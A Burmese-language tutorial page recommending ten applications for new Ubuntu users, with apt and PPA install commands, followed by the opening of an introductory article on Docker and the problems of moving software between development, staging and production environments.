Ubuntu စတင်အသုံးပြုသူတွေ တခါတခါမေးလေ့ ရှိတဲ့မေးခွန်းလေးတစ်ခုရှိပါတယ်။ အခုမှစသုံးတာမို့ install လုပ်ပြီးတာနဲ့ ဘာတွေလုပ်သင့်သလဲ။ ဘယ်လို application လေးတွေက ကောင်းသလဲဆိုတာပါ။ ဒီတခါတော့ distro အကြောင်းတွေ Linux certification အကြောင်းတွေကို နည်းနည်းလေး ရိုးလာလောက်ပြီ ဖြစ်တဲ့အတွက် ပေါ့ပေါ့ ပါးပါး အကြောင်းရေးမယ်လို့ စိတ်ကူးမိတာနဲ့ Ubuntu မှာ install လုပ်လုပ်ပြီးချင်း ကိုယ့်အတွက် အဆင်ပြေမယ့် tool လေးတွေ application လေးတွေ အကြောင်းရေးဖို့ ဖြစ်လာပါတော့တယ်။ Ubuntu သုံးတာနည်းနည်း ကြာလာတဲ့သူတွေ အတွက်တော့သိပြီးသားလည်း ဖြစ်ကောင်းဖြစ်နိုင်ပါတယ်။ အခုမှစသုံးတဲ့ သူတွေအတွက်တော့ အသုံးဝင်မယ်လို့ မျှော်လင့်ပါတယ်။ အောက်မှာတော့ တစ်ခုခြင်းစီ အကြောင်းနဲ့ ဘယ်လို install လုပ်ရတယ်၊ ဘယ်လို အသုံးပြုသလဲဆိုတာကို ရှင်းပြသွားပါ့မယ်။

## ၁. Grub Customizer

ဒီ grub customizer ကတော့ GUI ကနေပြီး GNU/Linux ရဲ့ grub bootloader ကို အလွယ်တကူ ပြင်ဆင်လို့ရအောင်လို့ Daniel Richter ဆိုတဲ့ developer တစ်ယောက်ကရေးပေးထားတဲ့ tool လေးပါ။ ပုံမှန်အားဖြင့် ကိုယ်က Windows နဲ့ Ubuntu ကို dual boot တင်တဲ့အခါမှာ များသောအားဖြင့် Windows ကိုအရင်တင်ပြီးတော့မှ Ubuntu တင်တာပိုပြီး ခေါင်းစားသက်သာ ပါတယ်။ အဲ့ဒီလို Windows ကိုတင်ပြီးမှ Ubuntu တင်တဲ့အခါ Ubuntu က လက်ရှိ Windows နဲ့ တွဲပြီး dual boot တင်မလားဆိုတဲ့ ဟာပါတဲ့အတွက် အဲ့ဒါလေးကို ရွေးလိုက်တာနဲ့ သူ့ဟာသူWindows ရဲ့ system file တွေနဲ့ data တွေကိုလည်း ပျက်စီးထိခိုက် သွားမှာကို စိုးရိမ်စရာမလိုတော့ပါဘူး။ အဲ… ကိုယ်ရဲ့ စက်ပေါ်မှာတော့ unallocated partition တော့ရှိဖို့လိုပါလိမ့်မယ်။ အဲ့ဒါကတော့ Windows ဘက်အခြမ်းကနေ disk management နဲ့ပဲ ဖြစ်ဖြစ် third party disk manager/director တစ်ခုခုသုံးပြီးတော့ ပဲဖြစ်ဖြစ် unallocated partition ကို အရင်ဖန်းတီးပေးခဲ့ဖို့တော့လိုပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-cbf8a80815cbb42aa00515e5b9a31ac1b435a527%2FGrubCustomizer01.png?alt=media" alt=""><figcaption></figcaption></figure>

ထားပါတော့… အသေးစိတ်တော့ မရှင်းတော့ပါဘူး။ grub customizer အကြောင်းရေးတာဆိုတော့ လိုရင်းကိုဆက်လိုက်ရအောင်။ အရှေ့မှာပြောခဲ့သလို Ubuntu ကိုရှိပြီးသား Windows နဲ့တွဲ ပြီးတော့ install လုပ်မယ်လို့ပြောလိုက်ရင် Ubuntu က Windows ရဲ့ bootloader ကို မသုံးတော့ပဲ သူ့ရဲ့ grub ကို default bootloader အနေနဲ့ သုံးပါတယ်။ install လုပ်လို့ပြီးသွားရင် reboot လုပ်ပြီးတဲ့အခါမှာ အဲ့ဒီ grub ကိုအရင်ရောက်ပါတယ်။ Windows ကို ရွေးစရာရဲ့ အောက်ဆုံးမှာ ထားပြီး ၁၀ စက္ကန့် အချိန်ရပါတယ်။ ကိုယ်တက်ချင်တဲ့ OS ကို keyboard ကနေ up down keys သုံးပြီး Enter ခေါက်လိုက်တာနဲ့ OS တက်ပါတယ်။ ပြဿနာက ကိုယ်က အဲ့ဒီ Menu လေးကိုပြင်ချင်တယ် ဆိုရင် Ubuntu ဘက်အခြမ်းမှာ terminal ကနေ command တွေသုံးပြီးတော့ ပြင်လို့ရပါတယ်။ စသုံးတဲ့သူတွေအတွက် ဆိုရင်တော့နည်းနည်း စိတ်ရှုပ်ရမှာဖြစ်ပါတယ်။ ခက်တော့လည်း မခက်ပါဘူး။ ဒါပေမယ့် ကိုယ်က GUI ကနေအလွယ်တကူ ပြင်လိုတယ်ဆိုရင်တော့ grub customizer ကို install လုပ်ပြီးတော့ GUI ကနေ သွားပြင်လို့ရပါတယ်။

grub customizer ကို install လုပ်မယ်ဆိုရင်တော့ အောက်က command လေးတွေကို Ubuntu ရဲ့ terminal မှာ တစ်ကြောင်းပြီး တစ်ကြောင်းရိုက်ထည့်လေးလိုက်ရုံပါပဲ။

```
sudo add-apt-repository ppa:danielrichter2007/grub-customizer
sudo apt-get update
sudo apt-get install grub-customizer
```

Grub customizer ကို install လုပ်ပြီးရင်တော့ Ubuntu မှာသူ့ကိုရှာပြီး launch လုပ်လိုက်တဲ့ GUI နဲ့ grub customizer တက်လာမှာပါ။ root privilege လိုတဲ့အတွက် sudo password တော့ တောင်းပါလိမ့်မယ်။ ရိုက်ထည့်ပေးလိုက်တာနဲ့ grub customizer စတင်သုံးလို့ရပါပြီ။ သုံးရတာတော့ GUI မှာလွယ်တဲ့အတွက် အသေးစိတ်မရှင်းတော့ပါဘူး။ ကိုယ်တိုင်တာ အသုံးပြုရင်းနဲ့ စမ်းကြည့်ပါ။ တခုရှိတာကတော့ သေချာမသိပဲနဲ့ grub customizer ထဲမှာ သွားပြီး ဟိုဖျက်ဒီဖျက်တော့ မလုပ်ပါနဲ့။ boot မတက်တော့မယ့်ထိ ပြဿနာရှိနိုင်ပါတယ်။ သတိလေးနဲ့တော့ အသုံးပြုပါ။

## ၂. Google Chrome

ဒီတစ်ခုကတော့ သိပ်ပြီးရှင်းပြစရာတောင် မလိုပါဘူး။ Ubuntu မှာအလွန်ကောင်းတဲ့ Firefox browser နဂိုအတိုင်းပါလာပြီးသားပါ။ သို့ပေမယ်လည်း Google ရဲ့ Chromecast လို device တွေသုံးရင်တော့ Google Chrome ကို သုံးမှရမှာပါ။ စာရေးသူ အမြင်မှာတော့ Chrome ကတော့ လက်ရှိမှာ အလုပ်အဖြစ်ဆုံး internet browser တစ်ခုပါ။ Chrome ကိုတော့ Google ရဲ့ download လုပ်တဲ့ ကနေ deb file ကို download ဆွဲပြီးတော့ deb file ကို double click လုပ်လိုက်တာနဲ့ Ubuntu Software တက်လာပြီးတော့ install လုပ်လိုက်ရုံပါပဲ။ ဘာ command မှမလိုပါဘူး။

## ၃. Notepadqq

Windows မှာ အရိုးအရှင်းဆုံးနဲ့ အလုပ်အဖြစ်ဆုံး text editor တစ်ခုရှိပါတယ်။ အဲ့ဒါကတော့ Notepad++ ဖြစ်ပါတယ်။ Ubuntu Linux မှာတော့ Notepad++ မရှိတဲ့အတွက် အစားထိုးဖို့အတွက် ဒီ Notepadqq ဆိုတဲ့ application နဲ့ အစားထိုးလို့ရပါတယ်။ Notepad++ နဲ့ပုံစံတူဖြစ်တဲ့အတွက် မျက်စိလည်စရာမရှိပါဘူး။ GUI မှာသုံးလို့ရတဲ့ text editor တွေထဲမှာတော့ Notepadqq ကတော်တော်လေး ပေါ့ပါးပါတယ်။ coding သမားတွေ အတွက်တော့ color markup ဖြစ်တဲ့အတွက် အလွယ်တကူ troubleshoot လို့ရတဲ့အပြင်မျက်စိလည်း ရှင်းပါတယ်။ Notepadqq ကို Ubuntu မှာ install လုပ်ချင်ရင်တော့ အောက် command တစ်ခုချင်းစီ ကို terminal ထဲမှာရိုက်ထည့်လိုက်ပါ။

```
sudo add-apt-repository ppa:notepadqq-team/notepadqq
sudo apt-get update
sudo apt-get install notepadqq
```

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-2abd885990c4a9d08f924b56f0a3b9a682fbb9b4%2Fscreen.png?alt=media" alt=""><figcaption></figcaption></figure>

## ၄. Dropbox

Ubuntu လို Linux distro တွေကို သုံးချင်ရင် Google Drive တို့ Onedrive တို့ကို စက်ပေါ်မှာ install လုပ်ရတာနဲ့အသုံးပြုရတာ နည်းနည်းလက်ဝင်ပါတယ်။ ကိုယ်က Ubuntu လို Linux တင်ထားတဲ့ စက်နဲ့ တခြား Windows စက်တွေမှာ file တွေ folder တွေကို sync လုပ်ချင်တယ် ဆိုရင်တော့ Dropbox က Ubuntu အတွက် Ubuntu Software ပေါ်မှာရှိပါတယ်။ အဲ့ကိုသွားပြီးတော့ Dropbox ဆိုပြီးရှာလိုက်ရုံပါပဲ။ ပြီးရင်တော့ install လုပ်ပြီးတော့ ကိုယ် account နဲ့ setup လုပ်လိုက်ပါ။ 2GB ထိတော့ အခမဲ့ရပါတယ်။ ပိုပြီးလိုရင်တော့ ဝယ်ရပါလိမ့်မယ်။

## ၅. GParted

GParted ဟာ GNU/Linux distro တွေရဲ့ LiveCD တော်တော်များများမှာ partitioning tool အနေနဲ့ ထည့်ပေးထားပါတယ်။ သုံးရတာ အဆင်ပြင်တဲ့အပြင် အလုပ်ဖြစ်လွန်းတဲ့ partitioning tool တစ်ခုအနေနဲ့လူသိများကြပါတယ်။ Ubuntu ကို ကိုယ့်စက်ပေါ်မှာ install လုပ်ရင် GParted သပ်သပ် install လုပ်ပေးရပါတယ်။ သူကိုလည်း Ubuntu Software ကနေရှာပြီး တော့ install လုပ်ပေးလိုက်ရုံပါပဲ။ GParted ဟာ Windows က Disk Management လိုပါပဲ။ ဒါပေမယ့် ပိုပြီးအလုပ်ဖြစ်ပါတယ်။ သတိထားပြီးတော့ အသုံးပြုစေချင်ပါတယ်။ GParted မှာ မှားဖျက်မိတဲ့အခါ ကိုယ်ရဲ့ bootloader တွေ system file တွေကို ပြဿနာပေးပြီး boot မတက်တော့တဲ့ထိဖြစ်တတ်ပါတယ်။ သတိလေးနဲ့ တော့ အသုံးပြုစေချင်ပါတယ်။

## ၆. VLC Player

Ubuntu မှာလည်း နဂိုအတိုင်းပါလာတဲ့ video player တစ်ခုရှိပါတယ်။ ဒါပေမယ့် VLC Player ကိုတော့ စာရေးသူ အနေနဲ့ ပိုပြီး အကြိုက်တွေ့မိပါတယ်။ VLC player က video format နဲ့ audio format တော်တော်များများကို ဖတ်ပါတယ်။ နောက်ပြီး VLC Player က player သီးသန့် မဟုတ်ပဲ hidden feature တွေပါဝင်ပါတယ်။ ဥပမာ VLC Player ကို video format အတွက် converter အနေနဲ့ အသုံးပြုလို့ရပါတယ်။ ဒါ့အပြင် screen capture လုပ်လို့လည်းရပါတယ်။ သူ့မှာ သုံးလို့ရတဲ့ feature တွေအများကြီးပါဝင်ပါတယ်။ VLC Player ကို install လုပ်ချင်ရင်တော့ အောက်က command တစ်ခုချင်းစီကို terminal မှာရိုက်ထည့်သွားပါ။

```
sudo apt-get install vlc browser-plugin-vlc
```

## ၇. Teamviewer

Teamviewer ကတော့ လူသုံးများတဲ့ အလုပ်ဖြစ်တဲ့ remote session ဖို့ အကောင်းဆုံး application တစ်ခုဖြစ်ပါတယ်။ အိမ်သုံးဖို့ အတွက်ကိုတော့ အခမဲ့ဖြစ်ပြီးတော့ လုပ်ငန်းခွင်အတွက်ဆိုရင်တော့ ဝယ်ရပါလိမ့်မယ်။ ကိုယ့်အသိ ကိုယ်မိတ်ဆွေတွေကို အဝေးတစ်နေရာကနေ remote desktop နဲ့ လှမ်းချိတ်ပြီး အကူအညီပေးချင်ရင်တော့ Teamviewer က အသုံးဝင်ပါတယ်။ Internet connection တော့ ရှိဖို့လိုပါတယ်။ သုံးရတာ အရမ်းအဆင်ပြေတဲ့အတွက် ကုမ္ပဏီ ကြီးတွေမှာတောင် Teamviewer နဲ့ပဲ Desktop Support လုပ်ကြပါတယ်။ Teamviewer ကိုတော့ သူ့ကို download လုပ်တဲ့ နေရာကနေ Ubuntu အတွက်ဆိုတဲ့ဟာကို download ဆွဲပြီးတော့ deb file ကို double click လုပ်ပြီးတော့ install လုပ်လိုက်ရုံပါပဲ။

## ၈. KeePassX

တချို့ က email တွေ social media account တွေနဲ့ တခြားသော ကိုယ့်အတွက်လိုအပ်မယ့် account တွေများလွန်းလှလို့ password ကိုတစ်ခုတည်းထားပြီး account အကုန်လုံးအတွက် အဲ့ဒီ password ကိုပဲသုံးပါတယ်။ ပြဿနာက အဲ့ဒီ password ကို တစ်ယောက်ယောက်က တနည်းနည်းနဲ့ ရသွားလို့ကတော့ ကိုယ့် ရဲ့ digital ဘဝတခုလုံး ဆုံးရှုံးတယ်လို့သာ မှတ်လိုက်ပါတော့။ အဲ့ဒီတော့ account တစ်ခုကို password အသစ်တစ်ခုနဲ့ အသုံးပြုခြင်းသာ ကိုယ့်အတွက် အကောင်းဆုံး ဖြစ်မှာပါ။ အဲ… နောက်ပြဿနာတစ်ခုက password များလာတော့ password တွေမှတ်ရတဲ့ ကိစ္စတစ်ခုထက်တိုးလို့ လာပါတယ်။ အဲ့လိုအခါမျိုးမှာ password manager ဆိုတာမျိုးကို အသုံးပြုရပါတယ်။ ပြောရရင်တော့ ကိုယ့် password တွေအကုန်လုံးကို password manager ထဲမှာထည့်သိမ်းထားပြီးတော့ အဲ့ဒီ password manager ကို နောက် password တစ်ခုနဲ့ ထည့်ပိတ်ထားလိုက်တဲ့ သဘောပါ။ အဲ့ဒီ password ကတော့ အရမ်းအရေးကြီးပါတယ်။ သေချာမှတ်ထားရမဲ့ master key password လိုဖြစ်သွားမှာပါ။ Ubuntu Linux အတွက်တော့ KeePassX ဆိုတဲ့ password manager တစ်ခုရှိပါတယ်။ အဲ့ password manager က ကိုယ့်ရိုက်ပြီးထည့်ထားတဲ့ password တွေကို သူ့ရဲ့ database file တစ်ခုမှာ အကုန်သိမ်းပြီးတော့ နောက် password တစ်ခုနဲ့ အဲ့ဒီ database ကို encrypt လုပ်ပေးထားပါတယ်။ encryption အကောင်းစားကို အသုံးပြုထားတဲ့အတွက် hack ဖို့လည်းမလွယ်ပါဘူး။ ကိုယ့်ကတော့ password manager က database file ကို lock လုပ်ပေးထားတဲ့ password ကိုတော့ သေချာသိမ်းထား မှတ်ထားရပါမယ်။ အဲ့ဒါအပြင် 2 way authentications လုပ်ချင်ရင်လည်း password တစ်ခုတည်း မဟုတ်ပဲ key file ကိုပါ ထပ်ထည့်လို့ ရပါတယ်။ နောက်ပြီး အဲ့ဒီ database file လေးကို usb flash drive နဲ့ ဖြစ်ဖြစ် dropbox နဲ့ပဲဖြစ်ဖြစ် ကိုယ်အတွက် အလွယ်တကူ access လုပ်လို့ရမယ့် နေရာမျိုးမှာ သိမ်းထားဖို့တော့ လိုပါလို့မယ်။ database file ကိုတော့ နှစ်ခုသုံးခုလောက်တော့ မတူတဲ့နေရာမျိုးမှာ backup အနေနဲ့ ခွဲပြီးတော့ သိမ်းထားသင့်ပါတယ်။ KeePassX password manager ကို install လုပ်ချင်ရင်တော့ အောက်က command တစ်ခုစီကို terminal တစ်ခုချင်းစီရိုက်ထည့်ပေးလိုက်ပါ။

```
sudo add-apt-repository ppa:eugenesan/ppa
sudo apt-get update
sudo apt-get install keepassx
```

## ၉. Virtualbox

Virtualbox ကတော့ ကိုယ့်စက်ပေါ်မှာ Virtualization Environment တစ်ခု တည်ဆောက်ဖို့အတွက်လိုအပ်တဲ့ hypervisor platform ပါ။ VMware ရဲ့ ပိုက်ဆံပေးဝယ်ရတဲ့ Workstation လိုမျိုး platform ဖြစ်ပါတယ်။ Virtualbox ကတော့ အခမဲ့ပါ။ တခုတော့ရှိပါတယ်… ကိုယ့်စက်မှာတော့ CPU, RAM နဲ့ Hard Disk လိုမျိုး resource တွေ အပိုရှိဖို့တော့လိုပါတယ်။ VMs တွေ run ဖို့ကတော့ အနည်းဆုံး နောက်ပိုင်းထွက်တဲ့ အလယ်အလတ် CPU မျိုး၊ RAM ကတော့ 8GB ကနေ 32 GB လောက်တော့ရှိရမှာပါ။ Hard Disk ကလည်း SSD ဆိုရင်တော့ ပိုကောင်းပါတယ်။ ပြီးတော့ 256GB ကနေ 500GB လောက်ဆိုရင်တော့ VM သုံးလုံး လေးလုံးလောက်တော့ တပြိုင်နက်တည်း run ပြီး virtual lab တစ်ခုတည်ဆောက်လို့ရပါတယ်။ Virtualbox ကိုတော့ သူရဲ့ download လုပ်တဲ့ နေရာကနေ download ဆွဲပြီးတော့ deb file ကို double click လုပ်ပြီး install လုပ်လိုက်ရုံပါပဲ။ Ubuntu Software မှာလည်း virtualbox ဆိုပြီးရှာလိုက်ရင်တွေ့ နိုင်ပါတယ်။ ကိုယ်အဆင်ပြေမယ့် နည်းနဲ့သာ install လုပ်ပြီးတော့ သုံးပါ။

## ၁၀. Zawgyi Keymagic Keyboard

ဇော်ဂျီလား ယူနီကုဒ်လား ဆိုတဲ့ပြဿနာ ကအခုထိတိုင်ရှိနေဆဲပါ။ မြန်မာနိုင်ငံမှာတော့ အင်တာနက် အသုံးပြုသူတွေ တော်တော်များများဟာ ဇော်ဂျီ ဖောင့်(ထ်) နဲ့ ကီးဘုတ်ကို အခုထိ de facto standard တစ်ခုအနေနဲ့ အသုံးများနေဆဲပါ။ အင်တာနက်မှာ စာဖတ် တဲ့သူတွေကလည်း ဇော်ဂျီ ဖောင့်(ထ်) နဲ့သာ ဖတ်ကြပါတယ်။ သို့သော် ဇော်ဂျီမှာက ပြဿနာတွေအများကြီးရှိပါတယ်။ အဓိက ကတော့ Unicode Standard ကို မလိုက်နာထားတာဟာ အဆိုးဆုံးထဲက တစ်ခုပါ။ အဲ့ဒီတော့ မသုံးသင့်တော့ပါဘူး။ ဘယ်လိုပဲဖြစ်ဖြစ် လက်ရှိမှာတော့ ဇော်ဂျီကတော့ သုံးနေရတုန်းပါ။ Ubuntu မှာတော့ ယူနီကုဒ်မြန်မာ ကီးဘုတ်နဲ့ ဖောင့်(ထ်) သုံးမယ်ဆိုရင်တော့ နဂိုအတိုင်းပါလာပြီးသားပါ။ ဇော်ဂျီသုံးမယ်ဆိုရင်တော့ ကီးဘုတ်အတွက် ရွေးစရာတွေများပါတယ်။ အဲ့ဒီရွေးစရာ အများကြီးထဲမှာတော့ စာရေးသူက Ubuntu မှာအဆင်အပြေဆုံး ဖြစ်ပြီးတော့ ibus မှာ run တဲ့ ဇော်ဂျီအတွက် keymagic ကို အလုပ်ဖြစ်တယ်လို့ ထင်ပါတယ်။ Apple ရဲ့ Macbook တို့ iMac တို့ မဟုတ်တဲ့ ရိုးရိုး PC သို့မဟုတ် Laptop တွေရဲ့ Keyboard မှာတော့ စာရေးသူ အသုံးပြုကြည့်မိ သလောက်တော့ ibus-keymagic ကအဆင်ပြေဆုံးလို့တော့ ထင်ပါတယ်။ Apple စက်တွေရဲ့ keyboard မှာတော့ နည်းနည်းလေး အဆင်သိပ်မပြေပါဘူး။ ibus-keymagic ကိုတော့ ကို ကိုကိုရဲ ရဲ့ launchpad ကို repository အနေနဲ့ သုံးပြီးတော့ install လုပ်ရပါ့မယ်။ Zawgyi ibus-keymagic keyboard နဲ့ Zawgyi Font ကို install လုပ်ချင်ရင်တော့ အောက်က command တွေကို တစ်ခုချင်းစီ terminal ထဲမှာရိုက်ထည့်ပေးလိုက်ပါ။ ဒီမှာ စကားချပ် အနေနဲ့ တခုပြောချင်တာကတော့ ဇော်ဂျီဖောင့်(ထ်) ကို Ubuntu မှာ install လုပ်လိုက်တာနဲ့ Ubuntu ရဲ့ system font နေရမှာ မြန်မာစာကို ပြတဲ့အခါ ဇော်ဂျီကိုသာ သုံးပါတော့တယ်။ မြန်မာယူနီကုဒ် ကိုသုံးတဲ့သူအတွက်တော့ နည်းနည်း အခက်တွေ့နိုင်ပါတယ်။ စာကိုရိုက်တဲ့ အခါမှာလည်း မျက်စိတွေလည်ကုန်တော့တာပါပဲ။ မြန်မာယူနီကုဒ်နဲ့ ရိုက်ပေးမယ့်လည်း ဇော်ဂျီ ဖောင့်(ထ်) နဲ့သာ ပြလို့ အကုန်ရှုပ်ကုန်နိုင်ပါတယ်။ ဇော်ဂျီတစ်ခုတည်း အသုံးပြုသူတွေအတွက်တော့ Ubuntu မှာပြဿနာ မရှိပါဘူး။ ဇော်ဂျီဟာ Unicode ရဲ့ Code Point တွေအများကြီးကိုယူသုံးထားတဲ့ အတွက် ဇော်ဂျီကို install လုပ်ပြီးတာနဲ့ system font အနေနဲ့ ပြောင်းသုံးတာ ဖြစ်နိုင်တယ်လို့လည်း Ubuntu Myanmar က developer တစ်ယောက် ကဆိုခဲ့ဘူး ပါတယ်။ အောက်မှာတော့ ဇော်ဂျီအတွက် ibus-keymagic keyboard နဲ့ font ကို install လုပ်ဖို့အတွက် အောက်က command တစ်ကြောင်းချင်းစီကို terminal ထဲမှာရိုက်ထည့်ပေးလိုက်ရုံပါပဲ။

```
sudo add-apt-repository -y ppa:kokoye2007/ppa
sudo apt-get update
sudo apt-get install ibus-keymagic
sudo apt-get install ibus-table-my-zawgyi
sudo apt-get install ttf-myanmar-fonts-zawgyi
```

အထက်မှာတော့ Ubuntu မှာ အသုံးပြုနိုင်တဲ့ အလုပ်ဖြစ်တဲ့ tool တွေနဲ့ application တွေအကြောင်း ကိုဖော်ပြပေးခဲ့တာဖြစ်ပါတယ်။ ဒီ ​post ကိုတော့ ဒီမှာပဲရပ်လိုက်ပါတော့မယ်။


# Docker မိတ်ဆက် အပိုင်း(၁)

နည်းပညာ ခေတ် တစ်ပိုင်းစီမှာ အချိုးအကွေ့ ပေါင်းများစွာနဲ့ မှတ်တမ်းတင်သွား တတ်တဲ့ အစိတ်အပိုင်းလေးတွေတော့ အမြဲရှိနေပါတယ်။ ဆိုပါတော့ Linux kernel ဟာ လက်ရှိ လူတွေသုံးနေတဲ့ GNU/Linux operating system တည်ဆောက်ဖို့အတွက် အရေးပါတဲ့ အစိတ်အပိုင်းလေး တစ်ခုပါ။ အမှတ်တမဲ့ ကနေ မှတ်ကျောက်တင်လောက် အောင် အကျိုးပြုသွားတဲ့ သာဓက လို့ဆိုရင်လည်း မမှားပါဘူး။ Linus Torvalds ဟာ Linux kernel ကို အစကနေ တီထွင်လိုက်တာ မဟုတ်ပဲ နဲ့ ရှိပြီးသား နည်းပညာ ဖြစ်တဲ့ Unix ပေါ်မှာ အခြေခံ ပြီးတော့ community ထဲက တခြားလူတွေပါသုံးလို့ရအောင်လို့ ပြန်ပြီး reinvent the wheel လုပ်လိုက်တဲ့ နည်းပညာလောကထဲက evolution တစ်ခုဆိုရမှာပါ။ နောက်တခါ Linux kernel မှတဆင့် open source project ပေါင်းများစွာ ထက်ဆင့်ပေါက်ဖွား လာပုံကိုတော့ စာရေးသူ အကျယ်တဝင့် ထပ်စောင်း ရေးစရာတောင်လိုမယ် မထင်ပါဘူး။ Open source project တွေဟာ ဖြောင့်ဖြူးတဲ့လမ်းမဟုတ်သလို ရန်သူလည်းများလွန်းလှပါတယ်။ Open source ကမ္ဘာမှာ project တစ်ခုအောင်မြင်ဖို့ဆိုရင် အချိန်တော်တော်လည်း ပေးရပါတယ်။ နှစ်ပေါင်းများစွာ အနည်ထိုင်ပြီးသွားတဲ့နောက်မှာတော့ Linux ဟာ open source community အတွက် အများကြီးလည်း အကျိုးပြုပြီးသွားတဲ့ အပြင် Data Center technology တွေနဲ့ networking appliance တော်တော်များများ ရဲ့ backend အနေနဲ့ အခုဆို နေရာတော်တော်လည်း ယူထားလိုက်ပါပြီ။ တဘက်မှာလည်း DevOp အပိုင်းမှာ Linux နဲ့ တည်ဆောက်ထားရတဲ့ ဟာမှာလည်း တချို့နေရာတွေမှာ အဆင်မပြေတာလေးတွေလည်း ရှိတတ်တာမို့ developer တွေဟာ အမြဲတီထွင် ကြံဆပြီးတော့ အဆင်ပြေအောင် လုပ်နေရတတ်တာ ထုံးစံလိုလိုပါပဲ။ အခုခေတ် Devs ကမ္ဘာက များလွန်းလှတဲ့ programming language ပေါင်းများစွာနဲ့ integration လုပ်ထားရတဲ့ လက်တွေ့ production အပိုင်းမှာတော့ ထင်သလောက်တော့ မလွယ်လွန်းလှပါဘူး။ ဒါ့အပြင် language တစ်ခုနဲ့ တစ်ခု ချိတ်ဆက်ရတဲ့ API အပိုင်းမှာလည်း dependency တွေရှိပြန်တာကြောင့် build environment ကနေ staging၊ staging ကနေတဆင့် production environment အဆင့်ဆင့် အဖန်ဖန် အခါခါ စမ်းသပ်ပြီးတော့မှ စတင် အသုံးပြုဖို့ အဆင့်ကိုရောက်ပါတယ်။ အဲ့ဒီလို environment တစ်ခုကနေ တစ်ခုကို ပြောင်းယူသွားတာကို shipping လုပ်တယ်လို့ သုံးကြပါတယ်။ Docker ဟာ အဲ့လို shipping process မှာ အဆင်ပြေအောင် တီထွင်ကြံဆထားပြီး အလွန်အသုံးတည့်တဲ့ နည်းပညာ အစိတ်အပိုင်း တစ်ခု evolution တစ်ခုလို့ ဆိုရမှာပါ။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-591e770d2769a5dc8896b1148f4eccb19a7f9afb%2FDocker-logo-011.png?alt=media" alt=""><figcaption></figcaption></figure>

### Docker မတိုင်မှီ DevOp ကမ္ဘာထဲက shipping ပြဿနာ

Docker အကြောင်းဆက်မသွားခင် Docker ဟာ ဘယ်လိုမျိုး ပြဿနာတွေကို ဖြေရှင်းဖို့အတွက် ထွက်ပေါ်လာရသလဲဆိုတာကို အနည်းငယ် ဆွေးနွေးသွားလိုပါတယ်။ ပထမ ပြဿနာက developer တွေဟာ program တစ်ခု software တစ်ခုကို ဖန်းတီးဖို့အတွက် သူတို့ရဲ့ Laptop သို့မဟုတ် PC တွေကို အသုံးပြုပြီးကြပါတယ်။ build environment လို့ ဆိုကြပါတော့။ အဲ့လို စတင်ဖန်တီးတဲ့အခါမှာလည်း developer တွေဟာ မတူတဲ့ programming language ပေါင်းစုံ version ပေါင်းစုံ ကို အသုံးပြုကြရပါတယ်။

အားလုံး အဆင်ပြေပြီဆိုရင် staging ဆိုတဲ့အဆင့်ကို ရောက်ပါတယ်။ အဲ့ဒီအဆင့်မှာတော့ program/software တွေကို host လုပ်ဖို့ အတွက် အသုံးပြုမဲ့ server နဲ့ ခပ်ဆင်ဆင် server ပေါ်မှာထပ်ပြီး စမ်းသပ် ရပါတယ်။ များသောအားဖြင့် developer တွေရဲ့စက်တွေကနေ staging server ကိုရွှေ့တဲ့ အခါမှာ ပြဿနာက စပါတယ်။ developer တွေရဲ့ စက်မှာ သုံးတဲ့ hardware နဲ့ staging server ပေါ်မှာသုံးတဲ့ hardware အမျိုးအစား မတူတဲ့ အတွက် developer စက်မှာတော့ program ကအလုပ်လုပ်တယ်၊ staging server ပေါ်မှာတော့ crash ဖြစ်သွားတယ်၊ error တွေတက်လာတယ်ဆိုတာမျိုးက ထုံးစံလိုလိုပါပဲ။ ဒါ့အပြင် Ops အပိုင်းမှာ deploy လုပ်တဲ့ automation နဲ့ provision tool အမျိုးအစား (ဥပမာ – Puppet၊ Ansible၊ Chef) ပေါ်မူတည်ပြီးတော့ အဆင်ပြေမပြေဆိုတာလည်း ရှိပါတယ်။ ပြီးတော့ compiler ရဲ့ version၊ hosting platform ရဲ့ dependency ဆိုတာတွေက များလွန်းလှပါတယ်။ Staging အဆင့်မှာတင် developer တွေဟာ အချိန်ရော လူပါ တော်တော်လေး သုံးရပါတယ်။ တခါတခါ program/software ကို develop လုပ်တာထက် staging အဆင့် အဖန်ဖန် ပြင်ဆင်ရပြီး ပိုကြာနေတတ်တာမျိုးပါ။

Staging အဆင့်မှာ အားလုံး အဆင်ပြေတယ်၊ စိတ်ချရပြီဆိုရင်တော့ နောက်တဆင့် အနေနဲ့ production environment ထဲကို implement လုပ်ကြရပြန်ပါတယ်။ အခပ်မသင့်ရင် staging ကနေ production ကိုရွှေ့ရတဲ့ အခါမှာလည်း အဆင်မပြေလေးတွေရှိနေတတ်ပါသေးတယ်။ Developer တွေမှာ ထပ်ပြီးနောက်တခါ အချိန် အကုန်ခံပြီးတော့ လိုအပ်တာတွေကို ပြင်ဆင်ရ ပြန်ပါတယ်။ အဲ့ဒီလို environment တစ်ခုကနေ တစ်ခုကို shipping လုပ်ရတဲ့ အခါမှာ ပြဿနာပေါင်းစုံနဲ့ ကြုံတွေ့ရပါတယ်။ တစ်နေရာနဲ့ တစ်နေရာ software development လုပ်တဲ့ process အနည်းအကျဉ်းကွာ နိုင်ပေမယ့် အကျဉ်းချုပ်အားဖြင့်တော့ အတူတူ နီးပါး ဖြစ်ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-e48f29c33bae686c6fea0fc31e1750e8067d4eb4%2Fdocker.com_community_no_-06.jpg?alt=media" alt=""><figcaption></figcaption></figure>

